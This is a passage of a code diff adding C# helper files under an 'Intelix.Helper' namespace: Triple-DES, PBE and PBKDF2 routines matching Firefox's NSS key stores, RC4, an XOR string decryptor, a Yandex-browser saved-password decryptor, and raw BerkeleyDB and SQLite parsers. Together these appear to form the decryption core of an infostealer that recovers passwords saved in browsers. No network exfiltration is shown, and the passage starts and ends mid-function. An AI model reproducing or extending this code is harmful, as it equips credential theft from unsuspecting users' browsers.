TripleDes tripleDes2 = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), asn1DerObject.Objects[0].Objects[0].Objects[1].Objects[0].Data);
|
||||
tripleDes2.ComputeVoid();
|
||||
byte[] toParse = TripleDes.DecryptByteDesCbc(tripleDes2.Key, tripleDes2.Vector, asn1DerObject.Objects[0].Objects[1].Data);
|
||||
Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse);
|
||||
Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.Objects[0].Objects[2].Data);
|
||||
byte[] array2 = new byte[24];
|
||||
if (asn1DerObject3.Objects[0].Objects[3].Data.Length > 24)
|
||||
{
|
||||
Array.Copy(asn1DerObject3.Objects[0].Objects[3].Data, asn1DerObject3.Objects[0].Objects[3].Data.Length - 24, array2, 0, 24);
|
||||
}
|
||||
else
|
||||
{
|
||||
array2 = asn1DerObject3.Objects[0].Objects[3].Data;
|
||||
}
|
||||
return array2;
|
||||
}
|
||||
|
||||
public static byte[] HexToBytes(string hexString)
|
||||
{
|
||||
if (hexString.Length % 2 != 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array = new byte[hexString.Length / 2];
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string s = hexString.Substring(i * 2, 2);
|
||||
array[i] = byte.Parse(s, NumberStyles.HexNumber, CultureInfo.InvariantCulture);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class RC4Crypt
|
||||
{
|
||||
public static byte[] Decrypt(byte[] key, byte[] data)
|
||||
{
|
||||
if (key == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (key.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (data == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
byte[] array = new byte[256];
|
||||
for (int i = 0; i < 256; i++)
|
||||
{
|
||||
array[i] = (byte)i;
|
||||
}
|
||||
int num = 0;
|
||||
for (int j = 0; j < 256; j++)
|
||||
{
|
||||
num = (num + array[j] + key[j % key.Length]) & 0xFF;
|
||||
Swap(array, j, num);
|
||||
}
|
||||
byte[] array2 = new byte[data.Length];
|
||||
int num2 = 0;
|
||||
num = 0;
|
||||
for (int k = 0; k < data.Length; k++)
|
||||
{
|
||||
num2 = (num2 + 1) & 0xFF;
|
||||
num = (num + array[num2]) & 0xFF;
|
||||
Swap(array, num2, num);
|
||||
byte b = array[(array[num2] + array[num]) & 0xFF];
|
||||
array2[k] = (byte)(data[k] ^ b);
|
||||
}
|
||||
return array2;
|
||||
}
|
||||
|
||||
private static void Swap(byte[] arr, int a, int b)
|
||||
{
|
||||
byte b2 = arr[a];
|
||||
arr[a] = arr[b];
|
||||
arr[b] = b2;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
internal class TripleDes
|
||||
{
|
||||
private byte[] CipherText { get; }
|
||||
|
||||
private byte[] GlobalSalt { get; }
|
||||
|
||||
private byte[] MasterPassword { get; }
|
||||
|
||||
private byte[] EntrySalt { get; }
|
||||
|
||||
public byte[] Key { get; private set; }
|
||||
|
||||
public byte[] Vector { get; private set; }
|
||||
|
||||
public TripleDes(byte[] cipherText, byte[] globalSalt, byte[] masterPass, byte[] entrySalt)
|
||||
{
|
||||
CipherText = cipherText;
|
||||
GlobalSalt = globalSalt;
|
||||
MasterPassword = masterPass;
|
||||
EntrySalt = entrySalt;
|
||||
}
|
||||
|
||||
public TripleDes(byte[] globalSalt, byte[] masterPassword, byte[] entrySalt)
|
||||
{
|
||||
GlobalSalt = globalSalt;
|
||||
MasterPassword = masterPassword;
|
||||
EntrySalt = entrySalt;
|
||||
}
|
||||
|
||||
public void ComputeVoid()
|
||||
{
|
||||
SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider();
|
||||
byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
|
||||
Array.Copy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
|
||||
Array.Copy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
|
||||
byte[] array2 = sHA1CryptoServiceProvider.ComputeHash(array);
|
||||
byte[] array3 = new byte[array2.Length + EntrySalt.Length];
|
||||
Array.Copy(array2, 0, array3, 0, array2.Length);
|
||||
Array.Copy(EntrySalt, 0, array3, array2.Length, EntrySalt.Length);
|
||||
byte[] key = sHA1CryptoServiceProvider.ComputeHash(array3);
|
||||
byte[] array4 = new byte[20];
|
||||
Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
|
||||
for (int i = EntrySalt.Length; i < 20; i++)
|
||||
{
|
||||
array4[i] = 0;
|
||||
}
|
||||
byte[] array5 = new byte[array4.Length + EntrySalt.Length];
|
||||
Array.Copy(array4, 0, array5, 0, array4.Length);
|
||||
Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
|
||||
byte[] array6;
|
||||
byte[] array9;
|
||||
using (HMACSHA1 hMACSHA = new HMACSHA1(key))
|
||||
{
|
||||
array6 = hMACSHA.ComputeHash(array5);
|
||||
byte[] array7 = hMACSHA.ComputeHash(array4);
|
||||
byte[] array8 = new byte[array7.Length + EntrySalt.Length];
|
||||
Array.Copy(array7, 0, array8, 0, array7.Length);
|
||||
Array.Copy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
|
||||
array9 = hMACSHA.ComputeHash(array8);
|
||||
}
|
||||
byte[] array10 = new byte[array6.Length + array9.Length];
|
||||
Array.Copy(array6, 0, array10, 0, array6.Length);
|
||||
Array.Copy(array9, 0, array10, array6.Length, array9.Length);
|
||||
Key = new byte[24];
|
||||
for (int j = 0; j < Key.Length; j++)
|
||||
{
|
||||
Key[j] = array10[j];
|
||||
}
|
||||
Vector = new byte[8];
|
||||
int num = Vector.Length - 1;
|
||||
for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
|
||||
{
|
||||
Vector[num] = array10[num2];
|
||||
num--;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Compute()
|
||||
{
|
||||
byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
|
||||
Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
|
||||
Buffer.BlockCopy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
|
||||
byte[] array2 = new SHA1Managed().ComputeHash(array);
|
||||
byte[] array3 = new byte[array2.Length + EntrySalt.Length];
|
||||
Buffer.BlockCopy(array2, 0, array3, 0, array2.Length);
|
||||
Buffer.BlockCopy(EntrySalt, 0, array3, EntrySalt.Length, array2.Length);
|
||||
byte[] key = new SHA1Managed().ComputeHash(array3);
|
||||
byte[] array4 = new byte[20];
|
||||
Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
|
||||
for (int i = EntrySalt.Length; i < 20; i++)
|
||||
{
|
||||
array4[i] = 0;
|
||||
}
|
||||
byte[] array5 = new byte[array4.Length + EntrySalt.Length];
|
||||
Array.Copy(array4, 0, array5, 0, array4.Length);
|
||||
Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
|
||||
byte[] array6;
|
||||
byte[] array9;
|
||||
using (HMACSHA1 hMACSHA = new HMACSHA1(key))
|
||||
{
|
||||
array6 = hMACSHA.ComputeHash(array5);
|
||||
byte[] array7 = hMACSHA.ComputeHash(array4);
|
||||
byte[] array8 = new byte[array7.Length + EntrySalt.Length];
|
||||
Buffer.BlockCopy(array7, 0, array8, 0, array7.Length);
|
||||
Buffer.BlockCopy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
|
||||
array9 = hMACSHA.ComputeHash(array8);
|
||||
}
|
||||
byte[] array10 = new byte[array6.Length + array9.Length];
|
||||
Array.Copy(array6, 0, array10, 0, array6.Length);
|
||||
Array.Copy(array9, 0, array10, array6.Length, array9.Length);
|
||||
Key = new byte[24];
|
||||
for (int j = 0; j < Key.Length; j++)
|
||||
{
|
||||
Key[j] = array10[j];
|
||||
}
|
||||
Vector = new byte[8];
|
||||
int num = Vector.Length - 1;
|
||||
for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
|
||||
{
|
||||
Vector[num] = array10[num2];
|
||||
num--;
|
||||
}
|
||||
byte[] sourceArray = DecryptByteDesCbc(Key, Vector, CipherText);
|
||||
byte[] array11 = new byte[24];
|
||||
Array.Copy(sourceArray, array11, array11.Length);
|
||||
return array11;
|
||||
}
|
||||
|
||||
public static string DecryptStringDesCbc(byte[] key, byte[] iv, byte[] input)
|
||||
{
|
||||
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
|
||||
tripleDESCryptoServiceProvider.Key = key;
|
||||
tripleDESCryptoServiceProvider.IV = iv;
|
||||
tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
|
||||
tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
|
||||
ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
|
||||
using MemoryStream stream = new MemoryStream(input);
|
||||
using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read);
|
||||
using StreamReader streamReader = new StreamReader(stream2);
|
||||
return streamReader.ReadToEnd();
|
||||
}
|
||||
|
||||
public static byte[] DecryptByteDesCbc(byte[] key, byte[] iv, byte[] input)
|
||||
{
|
||||
byte[] array = new byte[512];
|
||||
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
|
||||
tripleDESCryptoServiceProvider.Key = key;
|
||||
tripleDESCryptoServiceProvider.IV = iv;
|
||||
tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
|
||||
tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
|
||||
ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
|
||||
using MemoryStream stream = new MemoryStream(input);
|
||||
using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read);
|
||||
cryptoStream.Read(array, 0, array.Length);
|
||||
return array;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class Xor
|
||||
{
|
||||
public static string DecryptString(string input, byte key)
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(input);
|
||||
for (int i = 0; i < bytes.Length; i++)
|
||||
{
|
||||
bytes[i] ^= key;
|
||||
}
|
||||
return Encoding.UTF8.GetString(bytes);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class YaAuthenticatedData
|
||||
{
|
||||
public static byte[] Decrypt(byte[] encryptionKey, byte[] password_value, string url, string username_element, string password_element, string username_value, string signon_realm)
|
||||
{
|
||||
byte[] aad = new byte[0];
|
||||
using (SHA1 sHA = SHA1.Create())
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(url);
|
||||
byte[] bytes2 = Encoding.UTF8.GetBytes(username_element);
|
||||
byte[] bytes3 = Encoding.UTF8.GetBytes(username_value);
|
||||
byte[] bytes4 = Encoding.UTF8.GetBytes(password_element);
|
||||
byte[] bytes5 = Encoding.UTF8.GetBytes(signon_realm);
|
||||
byte[] array = new byte[bytes.Length + 1 + bytes2.Length + 1 + bytes3.Length + 1 + bytes4.Length + 1 + bytes5.Length];
|
||||
int num = 0;
|
||||
Array.Copy(bytes, 0, array, num, bytes.Length);
|
||||
num += bytes.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes2, 0, array, num, bytes2.Length);
|
||||
num += bytes2.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes3, 0, array, num, bytes3.Length);
|
||||
num += bytes3.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes4, 0, array, num, bytes4.Length);
|
||||
num += bytes4.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes5, 0, array, num, bytes5.Length);
|
||||
aad = sHA.ComputeHash(array);
|
||||
}
|
||||
byte[] array2 = new byte[12];
|
||||
Array.Copy(password_value, 0, array2, 0, 12);
|
||||
int num2 = password_value.Length - 12 - 16;
|
||||
byte[] array3 = new byte[num2];
|
||||
Array.Copy(password_value, 12, array3, 0, num2);
|
||||
byte[] array4 = new byte[16];
|
||||
Array.Copy(password_value, password_value.Length - 16, array4, 0, 16);
|
||||
return AesGcm256.Decrypt(encryptionKey, array2, aad, array3, array4);
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,46 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace Intelix.Helper.Hashing;
|
||||
|
||||
public class PBE
|
||||
{
|
||||
private byte[] Ciphertext { get; }
|
||||
|
||||
private byte[] GlobalSalt { get; }
|
||||
|
||||
private byte[] MasterPass { get; }
|
||||
|
||||
private byte[] EntrySalt { get; }
|
||||
|
||||
private byte[] PartIv { get; }
|
||||
|
||||
public PBE(byte[] ciphertext, byte[] globalSalt, byte[] masterPassword, byte[] entrySalt, byte[] partIv)
|
||||
{
|
||||
Ciphertext = ciphertext;
|
||||
GlobalSalt = globalSalt;
|
||||
MasterPass = masterPassword;
|
||||
EntrySalt = entrySalt;
|
||||
PartIv = partIv;
|
||||
}
|
||||
|
||||
public byte[] Compute()
|
||||
{
|
||||
byte[] array = new byte[GlobalSalt.Length + MasterPass.Length];
|
||||
Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
|
||||
Buffer.BlockCopy(MasterPass, 0, array, GlobalSalt.Length, MasterPass.Length);
|
||||
byte[] password = new SHA1Managed().ComputeHash(array);
|
||||
byte[] array2 = new byte[2] { 4, 14 };
|
||||
byte[] array3 = new byte[array2.Length + PartIv.Length];
|
||||
Buffer.BlockCopy(array2, 0, array3, 0, array2.Length);
|
||||
Buffer.BlockCopy(PartIv, 0, array3, array2.Length, PartIv.Length);
|
||||
byte[] bytes = new PBKDF2(new HMACSHA256(), password, EntrySalt, 1).GetBytes(32);
|
||||
return new AesManaged
|
||||
{
|
||||
Mode = CipherMode.CBC,
|
||||
BlockSize = 128,
|
||||
KeySize = 256,
|
||||
Padding = PaddingMode.Zeros
|
||||
}.CreateDecryptor(bytes, array3).TransformFinalBlock(Ciphertext, 0, Ciphertext.Length);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace Intelix.Helper.Hashing;
|
||||
|
||||
public class PBKDF2
|
||||
{
|
||||
private readonly int _blockSize;
|
||||
|
||||
private uint _blockIndex = 1u;
|
||||
|
||||
private byte[] _bufferBytes;
|
||||
|
||||
private int _bufferStartIndex;
|
||||
|
||||
private int _bufferEndIndex;
|
||||
|
||||
private HMAC Algorithm { get; }
|
||||
|
||||
private byte[] Salt { get; }
|
||||
|
||||
private int IterationCount { get; }
|
||||
|
||||
public PBKDF2(HMAC algorithm, byte[] password, byte[] salt, int iterations)
|
||||
{
|
||||
Algorithm = algorithm ?? throw new ArgumentNullException("algorithm", "Algorithm cannot be null.");
|
||||
Algorithm.Key = password ?? throw new ArgumentNullException("password", "Password cannot be null.");
|
||||
Salt = salt ?? throw new ArgumentNullException("salt", "Salt cannot be null.");
|
||||
IterationCount = iterations;
|
||||
_blockSize = Algorithm.HashSize / 8;
|
||||
_bufferBytes = new byte[_blockSize];
|
||||
}
|
||||
|
||||
public byte[] GetBytes(int count)
|
||||
{
|
||||
byte[] array = new byte[count];
|
||||
int i = 0;
|
||||
int num = _bufferEndIndex - _bufferStartIndex;
|
||||
if (num > 0)
|
||||
{
|
||||
if (count < num)
|
||||
{
|
||||
Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, count);
|
||||
_bufferStartIndex += count;
|
||||
return array;
|
||||
}
|
||||
Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, num);
|
||||
_bufferStartIndex = (_bufferEndIndex = 0);
|
||||
i += num;
|
||||
}
|
||||
for (; i < count; i += _blockSize)
|
||||
{
|
||||
int num2 = count - i;
|
||||
_bufferBytes = Func();
|
||||
if (num2 > _blockSize)
|
||||
{
|
||||
Buffer.BlockCopy(_bufferBytes, 0, array, i, _blockSize);
|
||||
continue;
|
||||
}
|
||||
Buffer.BlockCopy(_bufferBytes, 0, array, i, num2);
|
||||
_bufferStartIndex = num2;
|
||||
_bufferEndIndex = _blockSize;
|
||||
return array;
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
private byte[] Func()
|
||||
{
|
||||
byte[] array = new byte[Salt.Length + 4];
|
||||
Buffer.BlockCopy(Salt, 0, array, 0, Salt.Length);
|
||||
Buffer.BlockCopy(GetBytesFromInt(_blockIndex), 0, array, Salt.Length, 4);
|
||||
byte[] array2 = Algorithm.ComputeHash(array);
|
||||
byte[] array3 = array2;
|
||||
for (int i = 2; i <= IterationCount; i++)
|
||||
{
|
||||
array2 = Algorithm.ComputeHash(array2, 0, array2.Length);
|
||||
for (int j = 0; j < _blockSize; j++)
|
||||
{
|
||||
array3[j] ^= array2[j];
|
||||
}
|
||||
}
|
||||
if (_blockIndex == uint.MaxValue)
|
||||
{
|
||||
throw new InvalidOperationException("Derived key too long.");
|
||||
}
|
||||
_blockIndex++;
|
||||
return array3;
|
||||
}
|
||||
|
||||
private static byte[] GetBytesFromInt(uint i)
|
||||
{
|
||||
byte[] bytes = BitConverter.GetBytes(i);
|
||||
if (!BitConverter.IsLittleEndian)
|
||||
{
|
||||
return bytes;
|
||||
}
|
||||
return new byte[4]
|
||||
{
|
||||
bytes[3],
|
||||
bytes[2],
|
||||
bytes[1],
|
||||
bytes[0]
|
||||
};
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,72 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Sql;
|
||||
|
||||
public class BerkeleyDB
|
||||
{
|
||||
public List<KeyValuePair<string, string>> Keys { get; }
|
||||
|
||||
public BerkeleyDB(byte[] file)
|
||||
{
|
||||
List<byte> list = new List<byte>();
|
||||
Keys = new List<KeyValuePair<string, string>>();
|
||||
using (MemoryStream input = new MemoryStream(file))
|
||||
{
|
||||
using BinaryReader binaryReader = new BinaryReader(input);
|
||||
int i = 0;
|
||||
for (int num = (int)binaryReader.BaseStream.Length; i < num; i++)
|
||||
{
|
||||
list.Add(binaryReader.ReadByte());
|
||||
}
|
||||
}
|
||||
string text = BitConverter.ToString(Extract(list.ToArray(), 0, 4, littleEndian: false)).Replace("-", "");
|
||||
int num2 = BitConverter.ToInt32(Extract(list.ToArray(), 12, 4, littleEndian: true), 0);
|
||||
if (!text.Equals("00061561"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
int num3 = int.Parse(BitConverter.ToString(Extract(list.ToArray(), 56, 4, littleEndian: false)).Replace("-", ""));
|
||||
int num4 = 1;
|
||||
while (Keys.Count < num3)
|
||||
{
|
||||
string[] array = new string[(num3 - Keys.Count) * 2];
|
||||
for (int j = 0; j < (num3 - Keys.Count) * 2; j++)
|
||||
{
|
||||
array[j] = BitConverter.ToString(Extract(list.ToArray(), num2 * num4 + 2 + j * 2, 2, littleEndian: true)).Replace("-", "");
|
||||
}
|
||||
Array.Sort(array);
|
||||
for (int k = 0; k < array.Length; k += 2)
|
||||
{
|
||||
int num5 = Convert.ToInt32(array[k], 16) + num2 * num4;
|
||||
int num6 = Convert.ToInt32(array[k + 1], 16) + num2 * num4;
|
||||
int num7 = ((k + 2 >= array.Length) ? (num2 + num2 * num4) : (Convert.ToInt32(array[k + 2], 16) + num2 * num4));
|
||||
string text2 = Encoding.ASCII.GetString(Extract(list.ToArray(), num6, num7 - num6, littleEndian: false));
|
||||
string value = BitConverter.ToString(Extract(list.ToArray(), num5, num6 - num5, littleEndian: false));
|
||||
if (!string.IsNullOrWhiteSpace(text2))
|
||||
{
|
||||
Keys.Add(new KeyValuePair<string, string>(text2, value));
|
||||
}
|
||||
}
|
||||
num4++;
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] Extract(byte[] source, int start, int length, bool littleEndian)
|
||||
{
|
||||
byte[] array = new byte[length];
|
||||
int num = 0;
|
||||
for (int i = start; i < start + length; i++)
|
||||
{
|
||||
array[num] = source[i];
|
||||
num++;
|
||||
}
|
||||
if (littleEndian)
|
||||
{
|
||||
Array.Reverse(array);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,457 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Sql;
|
||||
|
||||
public class SqLite
|
||||
{
|
||||
private struct RecordHeaderField
|
||||
{
|
||||
public long Size;
|
||||
|
||||
public long Type;
|
||||
}
|
||||
|
||||
private struct TableEntry
|
||||
{
|
||||
public string[] Content;
|
||||
}
|
||||
|
||||
private struct SqliteMasterEntry
|
||||
{
|
||||
public string ItemName;
|
||||
|
||||
public long RootNum;
|
||||
|
||||
public string SqlStatement;
|
||||
}
|
||||
|
||||
private readonly ulong _dbEncoding;
|
||||
|
||||
private readonly byte[] _fileBytes;
|
||||
|
||||
private readonly ulong _pageSize;
|
||||
|
||||
private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
|
||||
|
||||
private string[] _fieldNames;
|
||||
|
||||
private SqliteMasterEntry[] _masterTableEntries;
|
||||
|
||||
private TableEntry[] _tableEntries;
|
||||
|
||||
public SqLite(string fileName)
|
||||
{
|
||||
_fileBytes = File.ReadAllBytes(fileName);
|
||||
_pageSize = ConvertToULong(16, 2);
|
||||
_dbEncoding = ConvertToULong(56, 4);
|
||||
ReadMasterTable(100L);
|
||||
}
|
||||
|
||||
public SqLite(byte[] basedata)
|
||||
{
|
||||
_fileBytes = basedata;
|
||||
_pageSize = ConvertToULong(16, 2);
|
||||
_dbEncoding = ConvertToULong(56, 4);
|
||||
ReadMasterTable(100L);
|
||||
}
|
||||
|
||||
public string GetValue(int rowNum, int field)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (rowNum >= _tableEntries.Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return (field >= _tableEntries[rowNum].Content.Length) ? null : _tableEntries[rowNum].Content[field];
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
public int GetRowCount()
|
||||
{
|
||||
return _tableEntries.Length;
|
||||
}
|
||||
|
||||
private bool ReadTableFromOffset(ulong offset)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (_fileBytes[offset])
|
||||
{
|
||||
case 13:
|
||||
{
|
||||
uint num4 = (uint)(ConvertToULong((int)offset + 3, 2) - 1);
|
||||
int num5 = 0;
|
||||
if (_tableEntries != null)
|
||||
{
|
||||
num5 = _tableEntries.Length;
|
||||
Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num4 + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
_tableEntries = new TableEntry[num4 + 1];
|
||||
}
|
||||
for (uint num6 = 0u; (int)num6 <= (int)num4; num6++)
|
||||
{
|
||||
ulong num7 = ConvertToULong((int)offset + 8 + (int)(num6 * 2), 2);
|
||||
if (offset != 100)
|
||||
{
|
||||
num7 += offset;
|
||||
}
|
||||
int num8 = Gvl((int)num7);
|
||||
Cvl((int)num7, num8);
|
||||
int num9 = Gvl((int)((long)num7 + ((long)num8 - (long)num7) + 1));
|
||||
Cvl((int)((long)num7 + ((long)num8 - (long)num7) + 1), num9);
|
||||
ulong num10 = num7 + (ulong)((long)num9 - (long)num7 + 1);
|
||||
int num11 = Gvl((int)num10);
|
||||
int num12 = num11;
|
||||
long num13 = Cvl((int)num10, num11);
|
||||
RecordHeaderField[] array = null;
|
||||
long num14 = (long)num10 - (long)num11 + 1;
|
||||
int num15 = 0;
|
||||
while (num14 < num13)
|
||||
{
|
||||
Array.Resize(ref array, num15 + 1);
|
||||
int num16 = num12 + 1;
|
||||
num12 = Gvl(num16);
|
||||
array[num15].Type = Cvl(num16, num12);
|
||||
array[num15].Size = ((array[num15].Type <= 9) ? _sqlDataTypeSize[array[num15].Type] : ((!IsOdd(array[num15].Type)) ? ((array[num15].Type - 12) / 2) : ((array[num15].Type - 13) / 2)));
|
||||
num14 = num14 + (num12 - num16) + 1;
|
||||
num15++;
|
||||
}
|
||||
if (array == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
_tableEntries[num5 + (int)num6].Content = new string[array.Length];
|
||||
int num17 = 0;
|
||||
for (int i = 0; i <= array.Length - 1; i++)
|
||||
{
|
||||
if (array[i].Type > 9)
|
||||
{
|
||||
if (!IsOdd(array[i].Type))
|
||||
{
|
||||
long dbEncoding = (long)_dbEncoding;
|
||||
long num18 = dbEncoding - 1;
|
||||
if ((ulong)num18 <= 2uL)
|
||||
{
|
||||
switch (num18)
|
||||
{
|
||||
case 0L:
|
||||
_tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size);
|
||||
break;
|
||||
case 1L:
|
||||
_tableEntries[num5 + (int)num6].Content[i] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size);
|
||||
break;
|
||||
case 2L:
|
||||
_tableEntries[num5 + (int)num6].Content[i] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
_tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
_tableEntries[num5 + (int)num6].Content[i] = Convert.ToString(ConvertToULong((int)((long)num10 + num13 + num17), (int)array[i].Size));
|
||||
}
|
||||
num17 += (int)array[i].Size;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 5:
|
||||
{
|
||||
uint num = (uint)(ConvertToULong((int)(offset + 3), 2) - 1);
|
||||
for (uint num2 = 0u; (int)num2 <= (int)num; num2++)
|
||||
{
|
||||
uint num3 = (uint)ConvertToULong((int)offset + 12 + (int)(num2 * 2), 2);
|
||||
ReadTableFromOffset((ConvertToULong((int)(offset + num3), 4) - 1) * _pageSize);
|
||||
}
|
||||
ReadTableFromOffset((ConvertToULong((int)(offset + 8), 4) - 1) * _pageSize);
|
||||
break;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private void ReadMasterTable(long offset)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
switch (_fileBytes[offset])
|
||||
{
|
||||
default:
|
||||
return;
|
||||
case 5:
|
||||
{
|
||||
uint num13 = (uint)(ConvertToULong((int)offset + 3, 2) - 1);
|
||||
for (int j = 0; j <= (int)num13; j++)
|
||||
{
|
||||
uint num14 = (uint)ConvertToULong((int)offset + 12 + j * 2, 2);
|
||||
if (offset == 100)
|
||||
{
|
||||
ReadMasterTable((long)((ConvertToULong((int)num14, 4) - 1) * _pageSize));
|
||||
}
|
||||
else
|
||||
{
|
||||
ReadMasterTable((long)((ConvertToULong((int)(offset + num14), 4) - 1) * _pageSize));
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 13:
|
||||
{
|
||||
ulong num = ConvertToULong((int)offset + 3, 2) - 1;
|
||||
int num2 = 0;
|
||||
if (_masterTableEntries != null)
|
||||
{
|
||||
num2 = _masterTableEntries.Length;
|
||||
Array.Resize(ref _masterTableEntries, _masterTableEntries.Length + (int)num + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
checked
|
||||
{
|
||||
_masterTableEntries = new SqliteMasterEntry[(ulong)unchecked((long)(num + 1))];
|
||||
}
|
||||
}
|
||||
for (ulong num3 = 0uL; num3 <= num; num3++)
|
||||
{
|
||||
ulong num4 = ConvertToULong((int)offset + 8 + (int)num3 * 2, 2);
|
||||
if (offset != 100)
|
||||
{
|
||||
num4 += (ulong)offset;
|
||||
}
|
||||
int num5 = Gvl((int)num4);
|
||||
Cvl((int)num4, num5);
|
||||
int num6 = Gvl((int)((long)num4 + ((long)num5 - (long)num4) + 1));
|
||||
Cvl((int)((long)num4 + ((long)num5 - (long)num4) + 1), num6);
|
||||
ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1);
|
||||
int num8 = Gvl((int)num7);
|
||||
int num9 = num8;
|
||||
long num10 = Cvl((int)num7, num8);
|
||||
long[] array = new long[5];
|
||||
for (int i = 0; i <= 4; i++)
|
||||
{
|
||||
int startIdx = num9 + 1;
|
||||
num9 = Gvl(startIdx);
|
||||
array[i] = Cvl(startIdx, num9);
|
||||
array[i] = ((array[i] <= 9) ? _sqlDataTypeSize[array[i]] : ((!IsOdd(array[i])) ? ((array[i] - 12) / 2) : ((array[i] - 13) / 2)));
|
||||
}
|
||||
long dbEncoding;
|
||||
if (_dbEncoding == 1 || _dbEncoding == 2)
|
||||
{
|
||||
